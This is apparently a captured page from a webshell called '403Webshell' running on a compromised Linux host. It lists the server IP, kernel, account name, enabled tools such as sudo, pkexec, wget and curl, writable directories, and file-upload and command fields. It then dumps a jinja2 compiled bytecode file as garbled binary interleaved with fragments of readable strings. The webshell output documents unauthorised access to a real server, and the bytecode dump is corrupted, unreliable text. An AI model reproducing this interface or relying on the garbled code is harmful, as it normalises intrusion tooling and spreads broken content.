- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.147.103.33
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/jinja2/__pycache__/compiler.cpython-36.opt-1.pyc
3

sݨ\j��@s�dZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZmZmZddlmZmZmZmZmZmZmZdd
l m!Z!m"Z"m#Z#m$Z$m%Z%ddddddddd�Z&e'e(d�r�dZ)ndZ)dgZ*ye+d�e*j,d�Wne-k
�r YnXye+d�Wne-k
�rHdZ.YnXdZ.dd �Z/d6d"d#�Z0d$d%�Z1d&d'�Z2Gd(d)�d)e3�Z4Gd*d+�d+e3�Z5Gd,d-�d-e6�Z7Gd.d/�d/e�Z8Gd0d1�d1e�Z9Gd2d3�d3e:�Z;Gd4d5�d5e�Z<d!S)7z�
    jinja2.compiler
    ~~~~~~~~~~~~~~~

    Compiles nodes into python code.

    :copyright: (c) 2017 by the Jinja Team.
    :license: BSD, see LICENSE for more details.
�)�chain)�deepcopy)�	iskeyword)�update_wrapper)�nodes)�EvalContext)�NodeVisitor)�	Optimizer)�TemplateAssertionError)�Markup�concat�escape)�
range_type�	text_type�string_types�	iteritems�NativeStringIO�imap�izip)�Symbols�VAR_LOAD_PARAMETER�VAR_LOAD_RESOLVE�VAR_LOAD_ALIAS�VAR_LOAD_UNDEFINEDz==z!=�>z>=�<z<=�inznot in)�eq�ne�gtZgteq�ltZlteqrZnotinr�itemsZdivisionz%from __future__ import generator_stopZgenerator_stopzdef f(): yield from x()FTcs�fdd�}t|��S)NcsD|jr4|jjr4|jj||j�}||kr4|j||�S�|||f|�S)N)�	optimized�eval_ctx�volatile�	optimizer�visit)�self�node�frame�kwargsZnew_node)�f��/usr/lib/python3.6/compiler.py�new_func@s
zoptimizeconst.<locals>.new_func)r)r+r.r,)r+r-�
optimizeconst?sr/NcCsHt|tj�std��|j||||||�}|j|�|dkrD|jj�SdS)z+Generate the python source for a node tree.z Can't compile non template nodesN)�
isinstancerZTemplate�	TypeErrorZcode_generator_classr&�stream�getvalue)r(�environment�name�filenamer2�
defer_initr"�	generatorr,r,r-�generateJs

r9cCs�|dks|tks|tkrdSt|�ttttttft	kr<dSt|�t
ttt
fkrnx|D]}t|�sVdSqVWdSt|�tkr�x,t|�D] \}}t|�s�dSt|�s�dSq�WdSdS)z)Does the node have a safe representation?NTF)�NotImplemented�Ellipsis�type�bool�int�float�complexrrr�tuple�list�set�	frozenset�
has_safe_repr�dictr)�value�item�keyr,r,r-rEWs"
rEcCs@t|�}yx|D]}|j|�qWWntk
r8YnX|jS)z�Check if the names passed are accessed undeclared.  The return value
    is a set of all the undeclared names from the sequence of names found.
    )�UndeclaredNameVisitorr&�VisitorExit�
undeclared)r�names�visitorr(r,r,r-�find_undeclaredls
rOc@seZdZdd�ZdS)�MacroRefcCs||_d|_d|_d|_dS)NF)r(�accesses_caller�accesses_kwargs�accesses_varargs)r'r(r,r,r-�__init__{szMacroRef.__init__N)�__name__�
__module__�__qualname__rTr,r,r,r-rPysrPc@s8eZdZdZddd�Zdd�Zd
dd	�Zd
d�ZeZdS)�Framez&Holds compile time information for us.NcCsf||_t|r|jpd|d�|_d|_d|_|o2|j|_d|_|rF|jpHd|_||_|dk	rb|j|_dS)N)�levelF)	r#r�symbols�toplevel�	rootlevel�require_output_check�buffer�block�parent)r'r#r`rYr,r,r-rT�s
zFrame.__init__cCs*tj|j�}|jj|j�|jj�|_|S)z!Create a copy of the current one.)�object�__new__�	__class__�__dict__�updaterZ�copy)r'�rvr,r,r-rf�sz
Frame.copyFcCs&|rt|j|jjdd�St|j|�S)zReturn an inner frame.�)rY)rXr#rZrY)r'�isolatedr,r,r-�inner�szFrame.innercCs|j�}d|_|S)aReturn a soft frame.  A soft frame may not be modified as
        standalone thing as it shares the resources with the frame it
        was created of, but it's not a rootlevel frame any longer.

        This is only used to implement if-statements.
        F)rfr\)r'rgr,r,r-�soft�sz
Frame.soft)NN)F)	rUrVrW�__doc__rTrfrjrk�__copy__r,r,r,r-rX�s
 
rXc@seZdZdZdS)rKz?Exception used by the `UndeclaredNameVisitor` to signal a stop.N)rUrVrWrlr,r,r,r-rK�srKc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�DependencyFinderVisitorz.A visitor that collects filter and test calls.cCst�|_t�|_dS)N)rC�filters�tests)r'r,r,r-rT�sz DependencyFinderVisitor.__init__cCs|j|�|jj|j�dS)N)�
generic_visitro�addr5)r'r(r,r,r-�visit_Filter�s
z$DependencyFinderVisitor.visit_FiltercCs|j|�|jj|j�dS)N)rqrprrr5)r'r(r,r,r-�
visit_Test�s
z"DependencyFinderVisitor.visit_TestcCsdS)zStop visiting at blocks.Nr,)r'r(r,r,r-�visit_Block�sz#DependencyFinderVisitor.visit_BlockN)rUrVrWrlrTrsrtrur,r,r,r-rn�s
rnc@s(eZdZdZdd�Zdd�Zdd�ZdS)	rJz�A visitor that checks if a name is accessed without being
    declared.  This is different from the frame visitor as it will
    not stop at closure frames.
    cCst|�|_t�|_dS)N)rCrMrL)r'rMr,r,r-rT�s
zUndeclaredNameVisitor.__init__cCsJ|jdkr8|j|jkr8|jj|j�|j|jkrFt��n|jj|j�dS)N�load)�ctxr5rMrLrrrK�discard)r'r(r,r,r-�
visit_Name�s
z UndeclaredNameVisitor.visit_NamecCsdS)zStop visiting a blocks.Nr,)r'r(r,r,r-ru�sz!UndeclaredNameVisitor.visit_BlockN)rUrVrWrlrTryrur,r,r,r-rJ�srJc@seZdZdZdS)�CompilerExitz�Raised if the compiler encountered a situation where it just
    doesn't make sense to further process the code.  Any block that
    raises such an exception is not further processed.
    N)rUrVrWrlr,r,r,r-rz�srzc@sVeZdZd�dd�Zdd�Zdd	�Zd
d�Zd�dd
�Zdd�Zd�dd�Z	d�dd�Z
dd�Zd�dd�Zdd�Z
dd�Zd�dd�Zd�d d!�Zd�d"d#�Zd$d%�Zd&d'�Zd�d(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Zd<d=�Zd>d?�Zd@dA�Z dBdC�Z!dDdE�Z"dFdG�Z#dHdI�Z$dJdK�Z%d�dLdM�Z&dNdO�Z'dPdQ�Z(dRdS�Z)dTdU�Z*dVdW�Z+dXdY�Z,dZd[�Z-d\d]�Z.d^d_�Z/d`da�Z0dbdc�Z1ddde�Z2dfdg�Z3dhdi�Z4djdk�Z5dldm�Z6dndo�Z7dpdq�Z8drds�Z9dtdu�Z:dvdw�Z;dxdy�Z<d�dzd{�Z=d�d|d}�Z>e=d~�Z?e=d�Z@e=d��ZAe=d��ZBe=d��ZCe=d��ZDe=d��ZEe=d�dd��ZFe=d�dd��ZGe>d~�ZHe>d�ZIe>d�dd��ZJ[=[>eKd�d���ZLeKd�d���ZMd�d��ZNeKd�d���ZOeKd�d���ZPd�d��ZQeKd�d���ZReKd�d���ZSeKd�d���ZTeKd�d�d���ZUd�d��ZVd�d��ZWd�d��ZXd�d��ZYd�d��ZZd�d��Z[d�d��Z\d�d��Z]d�d��Z^d�d��Z_d�d��Z`d�d��Zad�d��Zbd�d��ZcdS)��
CodeGeneratorNFTcCs�|dkrt�}||_||_||_||_d|_||_||_|rFt|�|_	i|_
i|_d|_d|_
d|_i|_i|_g|_d|_d|_d|_d|_d|_d|_g|_g|_dg|_dS)NFrrhT�context)rr4r5r6r2Zcreated_block_contextr7r"r	r%�import_aliases�blocks�extends_so_far�has_known_extends�code_linenorpro�
debug_info�_write_debug_info�
_new_lines�
_last_line�_first_write�_last_identifier�_indentation�
_assign_stack�_param_def_block�_context_reference_stack)r'r4r5r6r2r7r"r,r,r-rT�s8
zCodeGenerator.__init__cCst|||j|j��dS)z*Fail with a :exc:`TemplateAssertionError`.N)r
r5r6)r'�msg�linenor,r,r-�fail9szCodeGenerator.failcCs|jd7_d|jS)zGet a new unique identifier.rhzt_%d)r�)r'r,r,r-�temporary_identifier=sz"CodeGenerator.temporary_identifiercCs|j�|_|jd|j�dS)z7Enable buffering for the frame from that point onwards.z%s = []N)r�r^�	writeline)r'r)r,r,r-r^Bs
zCodeGenerator.buffercCs�|s�|jjrd|jd�|j�|jd|j�|j�|jd�|j�|jd|j�|j�dS|jjr�|jd|j�dS|jd|j�dS)z(Return the buffer contents of the frame.zif context.eval_ctx.autoescape:zreturn Markup(concat(%s))zelse:zreturn concat(%s)N)r#r$r��indentr^�outdent�
autoescape)r'r)�force_unescapedr,r,r-�return_buffer_contentsGs

z$CodeGenerator.return_buffer_contentscCs|jd7_dS)zIndent by one.rhN)r�)r'r,r,r-r�YszCodeGenerator.indentrhcCs|j|8_dS)zOutdent by step.N)r�)r'�stepr,r,r-r�]szCodeGenerator.outdentcCs.|jdkr|jd|�n|jd|j|�dS)z%Yield or write into the frame buffer.Nzyield z
%s.append()r^r�)r'r)r(r,r,r-�start_writeas
zCodeGenerator.start_writecCs|jdk	r|jd�dS)z1End the writing process started by `start_write`.N�))r^�write)r'r)r,r,r-�	end_writehs
zCodeGenerator.end_writecCs$|j||�|j|�|j|�dS)z4Simple shortcut for start_write + write + end_write.N)r�r�r�)r'�sr)r(r,r,r-�simple_writems
zCodeGenerator.simple_writecCsBy(|jd�x|D]}|j||�qWWntk
r<YnXdS)z�Visit a list of nodes as block in a frame.  If the current frame
        is no buffer a dummy ``if 0: yield None`` is written automatically.
        �passN)r�r&rz)r'rr)r(r,r,r-�
blockvisitss

zCodeGenerator.blockvisitcCs�|jrp|jsR|jjd|j�|j|j7_|jdk	rR|jj|j|jf�d|_d|_|jjd|j�d|_|jj|�dS)z&Write a string into the output stream.�
NFz    r)	r�r�r2r�r�r�r��appendr�)r'�xr,r,r-r�~s


zCodeGenerator.writercCs|j||�|j|�dS)z!Combination of newline and write.N)�newliner�)r'r�r(�extrar,r,r-r��szCodeGenerator.writelinecCs:t|jd|�|_|dk	r6|j|jkr6|j|_|j|_dS)z/Add one or more newlines before the next write.rhN)�maxr�r�r�r�)r'r(r�r,r,r-r��szCodeGenerator.newlinec	Cs�d}x0tdd�|jD�|pf�D]}t|�r d}Pq Wx$|jD]}|jd�|j||�q>W|s�x$|jD]}|jd�|j||�qhW|dk	r�x&t|�D]\}}|jd||f�q�W|jr�|jd�|j|j|�|�r�|jdk	r�|jd	�n
|jd
�x8|jD].}|jd|j	�|j|j
|�|jd��qW|dk	�rhx(t|�D]\}}|jd||f��qHW|jdk	�r�|jd
�|j|j|�|jd�n
|jd�n$|jdk	�r�|jd�|j|j|�dS)a,Writes a function call to the stream for the current node.
        A leading comma is added automatically.  The extra keyword
        arguments may not include python keywords otherwise a syntax
        error could occour.  The extra keyword arguments should be given
        as python dict.
        Fcss|]}|jVqdS)N)rI)�.0r�r,r,r-�	<genexpr>�sz*CodeGenerator.signature.<locals>.<genexpr>Tz, Nz, %s=%sz, *z
, **dict({z, **{z%r: z%r: %s, z}, **r��}z, **)rr*�is_python_keyword�argsr�r&rZdyn_argsZ
dyn_kwargsrIrG)	r'r(r)�extra_kwargsZkwarg_workaroundZkwarg�argrIrGr,r,r-�	signature�sJ	 







zCodeGenerator.signaturecCszt�}x|D]}|j|�qWxVdD]N}t||�}x>t||�D]0}||krV|j�||<|jd||||f�q>Wq$WdS)zPull all the dependencies.rorpz%s = environment.%s[%r]N)rorp)rnr&�getattrr�r�)r'rrNr(Z
dependency�mappingr5r,r,r-�pull_dependencies�s


zCodeGenerator.pull_dependenciescCs�g}x�t|jj�D]p\}\}}|tkr(q|tkrJ|jd||j�|f�q|tkrf|jd||f�q|tkrz|j	|�qt
d��qW|r�|jddj|��dS)Nz%s = %s(%r)z%s = %szunknown load instructionz%s = missingz = )rrZ�loadsrrr��get_resolve_funcrrr��NotImplementedError�join)r'r)�undefs�target�actionZparamr,r,r-�enter_frame�szCodeGenerator.enter_framecCsH|sDg}x"t|jj�D]\}}|j|�qW|rD|jddj|��dS)Nz%s = missingz = )rrZr�r�r�r�)r'r)�with_python_scoper�r��_r,r,r-�leave_frame�szCodeGenerator.leave_framecCs|jjrd|Sd|S)Nzasync def %szdef %s)r4�is_async)r'r5r,r,r-�func�szCodeGenerator.funccCs�|j�}|jj|�t|�}d}t�}g}xNt|j�D]@\}}|jdkrL|}|jdkrb|j|j�|j	|jj
|j��q6Wt|jd�}	d|	kr�|dk	r�y|j
|t|j�Wq�tk
r�|jd|j�Yq�Xn|j	|jjd��d|_d|	k�rd|k�r|j	|jjd��d|_d|	k�rDd|k�rD|j	|jjd��d|_d|_|jj|�|jd|jd	�d
j|�f|�|j�|j|�|j|�|j|�x�t|j�D]�\}}|jj
|j�}
|jd|
�|j�y|j
|t|j�}Wn2tk
�r|jd|
d
|j|jf�YnX|jd|
�|j||�|j|
�|j ��q�W|j!�|j"|j|�|j#|dd�|j$|dd�|j �||fS)z/Dump the function def of a macro or call block.N�callerr*�varargszhWhen defining macros or call blocks the special "caller" argument must be omitted or be given a default.TFz%s(%s):Zmacroz, zif %s is missing:z%s = undefined(%r, name=%r)zparameter %r was not providedz%s = )r�)r�)r*r�)r�r*r�)%rjrZ�analyze_noderPrC�	enumerater�r5rrr��refrO�bodyZdefaults�len�
IndexErrorr�r��declare_parameterrQrRrSr]r�r�r�r�r^r��push_parameter_definitionsr&�mark_parameter_storedr��pop_parameter_definitionsr�r�r�)r'r(r)�	macro_refZexplicit_callerZskip_special_paramsr��idxr�rLr��defaultr,r,r-�
macro_body�sp

 



zCodeGenerator.macro_bodycCs`djdd�|jjD��}t|jdd�}t|jj�dkr>|d7}|jd|||j|j|jf�dS)	z<Dump the macro definition for the def created by macro_body.z, css|]}t|j�VqdS)N)�reprr5)r�r�r,r,r-r�Hsz*CodeGenerator.macro_def.<locals>.<genexpr>r5Nrh�,zLMacro(environment, macro, %r, (%s), %r, %r, %r, context.eval_ctx.autoescape))	r�r(r�r�r�r�rRrSrQ)r'r�r)Z	arg_tupler5r,r,r-�	macro_defFszCodeGenerator.macro_defcCs*d|j}|jdk	r&|dt|j�7}|S)z.Return a human readable position for the node.zline %dNz in )r�r5r�)r'r(rgr,r,r-�positionQs

zCodeGenerator.positioncCs"ddjdd�t|jj��D��S)Nz{%s}z, css|]\}}d||fVqdS)z%r: %sNr,)r�r5r�r,r,r-r�Zsz3CodeGenerator.dump_local_context.<locals>.<genexpr>)r�rrZZdump_stores)r'r)r,r,r-�dump_local_contextXsz CodeGenerator.dump_local_contextcCs"|jd�|jd�|jd�dS)z�Writes a common preamble that is used by root and block functions.
        Primarily this sets up common local helpers and enforces a generator
        through a dead branch.
        z$resolve = context.resolve_or_missingz!undefined = environment.undefinedzif 0: yield NoneN)r�)r'r,r,r-�
write_commons]s

zCodeGenerator.write_commonscCs|jj|jj��dS)aQPushes all parameter targets from the given frame into a local
        stack that permits tracking of yet to be assigned parameters.  In
        particular this enables the optimization from `visit_Name` to skip
        undefined expressions for parameters in macros as macros can reference
        otherwise unbound parameters.
        N)r�r�rZZdump_param_targets)r'r)r,r,r-r�fsz(CodeGenerator.push_parameter_definitionscCs|jj�dS)z+Pops the current parameter definitions set.N)r��pop)r'r,r,r-r�osz'CodeGenerator.pop_parameter_definitionscCs|jr|jdj|�dS)z�Marks a parameter in the current parameter definitions as stored.
        This will skip the enforced undefined checks.
        rhN���)r�rx)r'r�r,r,r-r�ssz#CodeGenerator.mark_parameter_storedcCs|jj|�dS)N)r�r�)r'r�r,r,r-�push_context_referencezsz$CodeGenerator.push_context_referencecCs|jj�dS)N)r�r�)r'r,r,r-�pop_context_reference}sz#CodeGenerator.pop_context_referencecCs
|jdS)Nrhr�)r�)r'r,r,r-�get_context_ref�szCodeGenerator.get_context_refcCs|jd}|dkrdSd|S)Nrhr|Zresolvez
%s.resolver�)r�)r'r�r,r,r-r��s
zCodeGenerator.get_resolve_funccCsd|j�|j|�fS)Nz%s.derived(%s))r�r�)r'r)r,r,r-�derive_context�szCodeGenerator.derive_contextcCs|js
dS||jdkS)z4Checks if a given target is an undeclared parameter.Frhr�)r�)r'r�r,r,r-�parameter_is_undeclared�sz%CodeGenerator.parameter_is_undeclaredcCs|jjt��dS)z+Pushes a new layer for assignment tracking.N)r�r�rC)r'r,r,r-�push_assign_tracking�sz"CodeGenerator.push_assign_trackingcCs�|jj�}|js|rdSdd�|D�}t|�dkrbtt|��}|jj|�}|jd||f�nV|jd�x@t	|�D]4\}}|r�|j
d�|jj|�}|j
d||f�qvW|j
d	�|r�t|�dkr�|jd
|d�n|jddjtt
|���dS)
zoPops the topmost level for assignment tracking and updates the
        context variables if necessary.
        NcSs g|]}|dd�dkr|�qS)Nrhr�r,)r�r�r,r,r-�
<listcomp>�sz5CodeGenerator.pop_assign_tracking.<locals>.<listcomp>rhzcontext.vars[%r] = %szcontext.vars.update({z, z%r: %sz})zcontext.exported_vars.add(%r)rz"context.exported_vars.update((%s)))r�r�r[r��next�iterrZr�r�r�r�r�rr�)r'r)�varsZpublic_namesr5r�r�r,r,r-�pop_assign_tracking�s*



z!CodeGenerator.pop_assign_trackingcCs�t|j|j�}ddlm}|jddjt��|jddj|��|jjrT|jd�|j	r`dpbd}|j
tj�dk	}x@|j
tj�D]0}|j|jkr�|jd	|j|j�||j|j<q�Wxz|j
tj�D]j}|j|jkr�|j}	|j�|j|	<}
d
|	k�r|	jd
d�\}}|jd|||
f�q�|jd
|	|
f�q�W|jd|j�|jd|jd�|fdd�|j�|j�t|�}dt|jd%�k�r�|jjd�}
|jd|
�|jj|�d|_ |_!|�o�|j"|_#|�r�|jd�|j$|�|j%|j�|j&|j|�|j'|dd�|j(�|�r�|j"�s4|j�|jd�|j�t)�rZ|jj�rZ|jd�n8|jd|jj�rpd�prd�|j�|jd�|j(�|j(d|j"�x�t*|j�D]�\}}|jd|jd|�|f|d�|j�|j�t|�}t|jd&�}d|k�r |jjd�}
|jd|
�d|k�rJ|jjd�}
|jd|
||f�|jj|�||_+|j$|�|j%|j�|j&|j|�|j'|dd�|j(��q�W|jddjd d!�|jD��dd�|jd"d#jd$d!�|j,D���dS)'Nr)�__all__zfrom __future__ import %sz, zfrom jinja2.runtime import zOfrom jinja2.asyncsupport import auto_await, auto_aiter, make_async_loop_contextz, environment=environment�zblock %r defined twice�.rhzfrom %s import %s as %szimport %s as %sz	name = %rz%s(context, missing=missing%s):�root)r�r'z%s = TemplateReference(context)Tzparent_template = None)r�zif parent_template is not None:z4yield from parent_template.root_render_func(context)z9%sfor event in parent_template.root_render_func(context):zasync zyield eventZblock_�superz %s = context.super(%r, block_%s)z
blocks = {%s}css|]}d||fVqdS)z%r: block_%sNr,)r�r�r,r,r-r�#sz/CodeGenerator.visit_Template.<locals>.<genexpr>zdebug_info = %r�&css|]}d|VqdS)z%s=%sNr,)r�r�r,r,r-r�(s)r')r'r�)-rr4r5Zjinja2.runtimer�r�r��
code_featuresr�r7�findrZExtends�find_allZBlockr~r�r�ZImportedName�
importnamer}r��rsplitr�r�r�rXrOr�rZr�r�r[r\r�r]r�r�r�r�r��supports_yield_fromrr_r�)r'r(r)r#ZexportedZenvenvZhave_extendsr_�import_Zimp�alias�module�objr�r5�block_framerLr,r,r-�visit_Template�s�








zCodeGenerator.visit_TemplatecCs�d}|jr8|jrdS|jdkr8|jd�|j�|d7}|jrJ|j|�}n|j�}tr�|j	j
r�|jdkr�|jd|j|f|�nD|j	j
r�dp�d}|jd||j|f|�|j�|j
d	|�|j�|j|�dS)
z.Call a block and register it for the template.rNzif parent_template is None:rhz$yield from context.blocks[%r][0](%s)z	async for�forz&%s event in context.blocks[%r][0](%s):�event)r[r�rr�r�Zscopedr�r�r�r4r�r^r5r�r�)r'r(r)rYr|�loopr,r,r-ru+s,


zCodeGenerator.visit_BlockcCs�|js|jd|j�|jdkrZ|js6|jd�|j�|jdd�|jrRt��n|j�|jd|�|j	|j
|�|jd|j�|jdt
�|j�|jd	�|j�|jr�d
|_|jd7_dS)
zCalls the extender.z,cannot use extend from a non top-level scoperzif parent_template is not None:zraise TemplateRuntimeError(%r)zextended multiple timesz+parent_template = environment.get_template(z, %r)z6for name, parent_block in parent_template.blocks.%s():z8context.blocks.setdefault(name, []).append(parent_block)TrhN)r[r�r�rr�r�r�rzr�r&�templater�r5�dict_item_iterr\)r'r(r)r,r,r-�
visit_ExtendsKs.


zCodeGenerator.visit_ExtendscCs�|jr|jd�|j�d}t|jtj�rVt|jjt�r>d}qnt|jjt	t
f�rnd}nt|jtjtjf�rnd}|jd||�|j
|j|�|jd|j�|jr�|j�|jd�|j�|jd�|j�|jd	�|j�d
}|j�r|jjr�dp�d}|jd
||j|�f�n6|jj�r,|jd�n t�rB|jd�d}n
|jd�|�sn|j�|jd|�|j�|j�r~|j�dS)zHandles includes.ztry:Zget_or_select_templateZget_templateZselect_templateztemplate = environment.%s(z, %r)zexcept TemplateNotFound:r�zelse:Fz	async forr�zY%s event in template.root_render_func(template.new_context(context.get_all(), True, %s)):zGfor event in (await template._get_default_module_async())._body_stream:z6yield from template._get_default_module()._body_streamTz9for event in template._get_default_module()._body_stream:r�N)Zignore_missingr�r�r0r�rZConstrGrrArBZTupleZListr&r�r5r��with_contextr4r�r�r�r�)r'r(r)�	func_nameZskip_event_yieldr�r,r,r-�
visit_IncludezsN






zCodeGenerator.visit_IncludecCs�|jd|jj|j�|�|jr0|jd|j�|jjrB|jd�|jd�|j|j	|�|jd|j
�|jr�|jd|jjr�dp�d|j|�f�n|jjr�|jd	�n
|jd
�|jr�|jj
d�r�|jd|j�d
S)zVisit regular imports.z%s = zcontext.vars[%r] = zawait zenvironment.get_template(z, %r).z*make_module%s(context.get_all(), True, %s)�_asyncr�z_get_default_module_async()z_get_default_module()r�z!context.exported_vars.discard(%r)N)r�rZr�r�r[r�r4r�r&r�r5r�r��
startswith)r'r(r)r,r,r-�visit_Import�s"


zCodeGenerator.visit_Importcs�|j|�|jd|jjrdpd�|j|j��|jd|j�|jrn|jd|jjrZdp\d|j��f�n|jjr�|jd�n
|jd�g}g}x�|j	D]�}t
|t�r�|\}}n|}|jd	�j
j|�|f�|jd
�j
j|��|j�|jd�j
j|�d|j|�t|�f|f�|j��jr�|j|�|jd
�s�|j|�q�W|�r�t|�dk�r�|d}|jd|�j
j|�f�n"|jddj�fdd�|D���|�r�t|�dk�r�|jd|d�n|jddjtt|���dS)zVisit named imports.z/included_template = %senvironment.get_template(zawait r�z, %r).z*make_module%s(context.get_all(), True, %s)r�z_get_default_module_async()z_get_default_module()z,%s = getattr(included_template, %r, missing)zif %s is missing:z9%s = undefined(%r %% included_template.__name__, name=%r)zGthe template %%r (imported on %s) does not export the requested name %sr�rhrzcontext.vars[%r] = %szcontext.vars.update({%s})z, c3s"|]}d|�jj|�fVqdS)z%r: %sN)rZr�)r�r5)r)r,r-r��sz1CodeGenerator.visit_FromImport.<locals>.<genexpr>z!context.exported_vars.discard(%r)z-context.exported_vars.difference_update((%s))N)r�r�r4r�r&r�r5r�r�rMr0rAr�rZr�r�r�r�r�r[r�r�r�r�r)r'r(r)Z	var_namesZdiscarded_namesr5r�r,)r)r-�visit_FromImport�s\









zCodeGenerator.visit_FromImportcCsV|j�}|j�}|j�}|jp2dt|jd%d�d&�k}d}|rH|jjd�}|jj|dd�|jrn|jj|dd�|j�rl|j	�}|jj|dd�|j
d|j|�|j�|j�|j
|�|j
|jjr�dp�d	�|j|j|�|jd
�|j|jjr�dp�d�|jd
�|j�|j
d|j�|j|j|�|jd
�|j�|j
d�|j|j|�|jd�|j|dd�|j�r�|j
d|jd�|�|j�|j|�|j|_|�r�|j
d|�x<|jtj�D],}	|	jdk�r�|	jdk�r�|jd|	j��q�W|j�r|j	�}
|j
d|
�|j
|jj�r(d�p*d	|�|j|j|�|�rn|jj�r^|jd|�n|jd|�n
|jd
�|j�r�|jd|�|j�r�|jd�nF|jj�r�|�r�|jd�|j|j|�|jj�r�|�r�|jd�|j�r�|jd�|j�r|jd�n|j|�rd�p d
�|j�|j
|�|j|j|�|j�rZ|j
d |
�|j�|j||j�ov|jd�|j�r�|j
d!|
�|j�|j
|�|j|j|�|j|�|j�|j�rR|j |�|j�|j!||�|jj�r�|jd"�|jd#�|jj�r|jd�|j|j|�|jj�r>|jd�|jd$�|j"|�dS)'Nr�r�)Zonly)Z
for_branch�else�testz
%s(fiter):z
async for zfor z in zauto_aiter(fiter)Zfiter�:zif zyield �T)r�z'%s(reciter, loop_render_func, depth=0):z%s = missing�storez8Can't assign to special loop variable in for-loop targetz%s = 1z&, %s in await make_async_loop_context(z, %s in LoopContext(z%s(Zreciterzauto_aiter(r�z&, undefined, loop_render_func, depth):z
, undefined):z%s = 0zif %s:zawait zloop(z, loop))r�)r�)#rj�	recursiverOZiter_child_nodesrZr�r��else_rr�r�r�r�r�r4r�r&r�r�r�r�r^r�r�Namerwr5r�r�r�r�r�r�r�r�)r'r(r)Z
loop_frameZ
test_frameZ
else_frameZ
extended_loopZloop_refZloop_filter_funcr5Ziteration_indicatorr,r,r-�	visit_Fors�























zCodeGenerator.visit_ForcCs�|j�}|jd|�|j|j|�|jd�|j�|j|j|�|j�xP|j	D]F}|jd|�|j|j|�|jd�|j�|j|j|�|j�qRW|j
r�|jd�|j�|j|j
|�|j�dS)Nzif rzelif zelse:)rkr�r&rr�r�r�r�r��elif_r)r'r(r)Zif_framerr,r,r-�visit_If�s&


zCodeGenerator.visit_IfcCs�|j||�\}}|j�|jrX|jjd�s:|jd|j�|jj|j�}|jd|j�|jd|jj|j��|j	||�dS)Nr�zcontext.exported_vars.add(%r)zcontext.vars[%r] = z%s = )
r�r�r[r5r�r�rZr�r�r�)r'r(r)Zmacro_framer�r�r,r,r-�visit_Macro�szCodeGenerator.visit_MacrocCsR|j||�\}}|jd�|j||�|j||�|j|j|dd�|j|�dS)Nz	caller = T)�forward_caller)r�r�r�r��
visit_CallZcallr�)r'r(r)Z
call_framer�r,r,r-�visit_CallBlock�s
zCodeGenerator.visit_CallBlockcCsh|j�}|jj|�|j|�|j|�|j|j|�|j||�|j|j	|�|j
|�|j|�dS)N)rjrZr�r�r^r�r�r�rs�filterr�r�)r'r(r)Zfilter_framer,r,r-�visit_FilterBlock�s


zCodeGenerator.visit_FilterBlockcCs�|j�}|jj|�|j|�xLtt|j|j��D]6\}\}}|j�|j	||�|j
d�|j	||�q2W|j|j|�|j
|�dS)Nz = )rjrZr�r�r�rZtargets�valuesr�r&r�r�r�r�)r'r(r)Z
with_framer�r��exprr,r,r-�
visit_With�s
 
zCodeGenerator.visit_WithcCs|j|�|j|j|�dS)N)r�r&r()r'r(r)r,r,r-�visit_ExprStmt�s
zCodeGenerator.visit_ExprStmtcs��jr|jrdSd}�jjrj�jj}t|dd�s<t|dd�rBd}qnt|dd�r\�fdd�}qn�fdd�}nt}d}|jr��jd	��j�d}g}x�|jD]�}y|s�tj	��|j
|j�}	Wn"tj	k
r�|j|�w�YnXy4|jj
�rt|	d
��r|	j�}	nt|	�}	||	�}	Wn"tk
�r4|j|�w�YnX|�r\t|d t��r\|d!j|	�q�|j|	g�q�Wt|�dk�s�|jdk	�r"|jdk	�r�t|�dk�r��jd
|j�n�jd|j��j��x|D�]}
t|
t��rtt|
��}|jdk�r�jd|�n�j|d�n�|jdk�r6�jd|
�n
�j|
�d}|jj�rZ�jd�n |jj
�rp�jd�n
�jd��jjdk	�r��jd�t�jjdd��r��jd�|d7}�j|
|��jd|�|jdk	�r҈jd��q�W|jdk	�r��j��jt|�dk�rd�pd��nxg}
g}xF|D]>}
t|
t��rX|
jt|
�jdd��n|
jd�|j|
��q0W�jd��jtt|
��d��j�x�|D]�}�j|�d}|jj�rЈjd�|d7}n|jj
�r�jd�|d7}�jjdk	�rd�jd�t�jjdd��r"�jd�n:t�jjdd��r@�jd�nt�jjdd��r\�jd�|d7}�j||��jd|d��q�W�j��jd�|�r��j�dS)"NTZcontextfunctionFZevalcontextfunctionZenvironmentfunctioncst�jj�j|��S)N)rr4�finalize)r�)r'r,r-�<lambda>�sz,CodeGenerator.visit_Output.<locals>.<lambda>cst�jj|��S)N)rr4r)r�)r'r,r-r�szif parent_template is None:�__html__rhrz
%s.append(z%s.extend((zyield r�z7(escape if context.eval_ctx.autoescape else to_string)(zescape(z
to_string(zenvironment.finalize(z	context, r�z))�%z%%z%sz % (rzcontext.eval_ctx, z
environment, z, r�r�)r�r]r4rr�rr�r�r�
Impossible�as_constr#r�r��hasattrrr
�	Exceptionr0rBr�r^r�rr�r$r�r&r��replace)r'r(r)Zallow_constant_finalizer�rZ
outdent_laterr��child�constrH�val�close�formatZ	argumentsZargumentr,)r'r-�visit_Output�s�











"















zCodeGenerator.visit_OutputcCsF|j�|j|�|j|j|�|jd�|j|j|�|j|�dS)Nz = )r�r�r&r�r�r(r�)r'r(r)r,r,r-�visit_AssignVs

zCodeGenerator.visit_AssigncCs�|j�|j�}d|_|jj|�|j|�|j|�|j|j|�|j	|�|j
|j|�|jd�|j
dk	r�|j|j
|�n|jd|j�|jd�|j|�|j|�dS)NFz9 = (Markup if context.eval_ctx.autoescape else identity)(z
concat(%s)r�)r�rjr]rZr�r�r^r�r�r�r&r�r�rrsr�r�)r'r(r)r�r,r,r-�visit_AssignBlock^s 






